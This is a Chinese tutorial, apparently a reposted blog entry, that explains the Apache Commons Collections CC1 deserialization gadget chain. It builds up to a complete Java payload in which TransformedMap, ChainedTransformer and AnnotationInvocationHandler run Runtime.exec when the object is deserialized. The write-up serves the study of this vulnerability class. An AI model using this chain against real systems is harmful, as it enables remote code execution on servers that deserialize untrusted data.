Java代码审计-CC1 Chains

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计-CC1 Chains相关的知识,希望对你有一定的参考价值。

有关环境配置和IDEA调试可以看上一篇文章,电梯

分析

Java集合框架

Java集合框架是对多个数据进行存储操作的结构,其主要分为CollectionMap两种体系:

Collection接口:单例数据,定义了存取一组对象的方法的集合
Map接口:双列数据,保存具有映射关系“Key-value”的集合

Apache Commons Collections:一个扩展了Java标准库里集合框架的第三方基础库。它包含有很多 jar 工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类

先来看通过反射执行命令弹出计算器

public class test 
    public static void main(String[] args) throws Exception 
        // 命令直接弹
        Runtime.getRuntime().exec("calc");
        
        // 反射
        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(runtime,"calc");
    

再来看 transform,可以发现这里使用了反射调用,并且 input 可控

那么既然知道了漏洞最终触发点,就需要倒推回去查找整个 chain,transform 方法在 InvokerTransformer 对象中,以下为 invoketransformer 构造方法

InvokerTransformer 是实现了 Transformer 接口的一个类,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是参数列表

invoketransformer 构造方法中规定了传入的数据类型,据此构造 transform 的方法调用

public class test 
    public static void main(String[] args) throws Exception 

        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc").transform(runtime);
    

经过参数赋值,就变成了一开始我们写的直接执行反射的代码

继续倒推 chain,在 transform 上右击选择 Find Usages 或者使用快捷键 alt + f7 查看函数调用关系,查找那个函数调用了 transform,最后的目标是到 readObject

寻找可用的利用链,发现 TranformedMap 中的 checkSetValue 方法调用了 transform,当然 LazyMap 也可以,在之后会分析

    protected Object checkSetValue(Object value) 
        return valueTransformer.transform(value);
    

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新元素是,将可以执行一个回调

查看 TranformedMap 的构造方法,因为是 protected 属性所以需要继续找调用

这一部分的 payload

public class test 
    public static void main(String[] args) throws Exception 
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc");
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map, null, invokerTransformer);
    

接下来就要去找在哪里使用了 checkSetValue

当遍历 map 时会调用 setValue,继续构造 payload,写一个遍历去触发 setValue

public class test 
    public static void main(String[] args) throws Exception 
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc");
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","abc");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        for (Map.Entry entry: transformedMap.entrySet()) 
            // 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
            entry.setValue(runtime);
        
    

调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform,其中 SetValue 的值是可控的,就会一步步传递

这样的话最终执行就会弹出计算器,但是还没有完成,最终我们需要找的是 readObject 中触发,使用 alt + f7 查找哪里调用了 SetValue,最好是直接在 readObject 中调用的,这样的话这条链就完整了,不要找同名函数调用陷入循环

在 sun.reflect.annotation 中的 AnnotationInvocationHandler 中找到了使用 readObject 调用的函数 memberValue.setValue

其中 memberValues 是可控的

继续构造 payload,因为 AnnotationInvocationHandler 没有注明函数类型,默认为 default,即只能在本包内使用,所以需要用反射调用执行

public class test 
    public static void main(String[] args) throws Exception 
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc");
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "abc");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

//        for (Map.Entry entry: transformedMap.entrySet()) 
//            // 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
//            entry.setValue(runtime);
//        
//        无用

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationdhlConstructor.setAccessible(true);
        Object o = new annotationInvocationdhlConstructor.newInstance(Override.class, transformedMap);
        // Override 注解类型

        serialize(o);
        unserialize("ser.bin");
    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException 
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    

现在又两个问题

  1. Runtime 类不可以被序列化,没有继承 serializable 接口
  2. for 循环中的 AnnotationTypeMismatchExceptionProxy 是无法控制的

解决第一个问题

使用 Runtime.class 代替 runtime

Runtime.class 是一个 java.lang.Class 对象,Class 类实现了 Serializable 接口,所以可以被序列化

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

这是只使用反射的方法,还需要结合 transform

解决第二个问题

有一个 if 语句对 memberType 进行判断,只有不是 null 的时候才能进入

根据 p 神的 Java 安全漫谈,给出了两个条件

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
  2. 被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素

最终完整的 payload

public class test 
    public static void main(String[] args) throws Exception 

        Transformer[] transformers = new Transformer[]
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]String.class,Class[].class, new Object[]"getRuntime",new Class[0]),
                new InvokerTransformer("invoke",new Class[]Object.class,Object[].class,new Object[]null,new Object[0]),
                new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc"),;
				// ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是构造函数时传入一个对象,并在 transform 方法将这个对象返回	
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        // chainedtransformer 作用是将内部的多个 transformer 串在一起,将前一个回调结果作为后一个的参数传入
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx"); // 第一个值必须为value
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        HashMap hashMap = new HashMap();

        Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        serialize(obj);
        unserialize("ser.bin");

    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException 
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    

Java 8u71 之后的版本不在可用

参考链接:

同时也强烈安利

以上是关于Java代码审计-CC1 Chains的主要内容,如果未能解决你的问题,请参考以下文章

Java代码审计-CC1 LazyMap Chains

Java代码审计-CC1 Chains

CommonCollections1反序列化利用链分析

android studio里的ndk toolchains问题,请问怎么解决

代码审计学php还是java

HDOJ 4460 Friend Chains 图的最长路